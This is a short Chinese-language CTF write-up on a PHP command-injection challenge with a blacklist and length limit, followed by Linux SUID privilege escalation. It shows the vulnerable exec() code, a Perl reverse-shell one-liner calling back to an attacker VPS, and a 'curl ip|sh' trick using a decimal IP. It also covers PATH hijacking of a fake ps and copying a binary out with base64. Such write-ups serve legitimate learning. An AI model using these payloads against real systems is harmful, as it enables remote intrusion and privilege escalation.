记一道linux suid提权的ctf题目
php代码如下:
<?php
highlight_file(__FILE__);
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
$_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (strlen($ip) <= 18){
if (preg_match ('/' . $blacklisted . '/im', $ip)) {
die('nonono');
}else{
exec($ip);
}
}
else{
die("long");
}
}
}
?>
nc反弹shell解决了
有三种方式反弹 bash perl python 测试后目标容器没有python bash不起作用 只有通过perl方式反弹了
在公网VPS上面搭建WEB服务 将命令放在index.html里面
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"your ip:2333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
然后在vps上面nc监听
注意要将自带firewall关闭 否则会反弹不成功
然后在目标机器执行curl ip | bash即可反弹
由于这里有长度限制 将ip地址转换为十进制
然后执行curl ip|sh
即可反弹成功
权限很低 然后发现根目录下面有个start.sh
给个love +x 权限
执行love发现就是ps命令
P师傅YYDS
设置PATH为/tmp 然后伪造一个ps即可实现提权 就不累赘复现
将love文件拷贝出来的方法有两种
cat /usr/bin/love |base64 -w 0
还可以
cp /usr/bin/love /var/www/html
然后通过web下载 web狗的悲伤 不会逆向 不配打CTF呜呜呜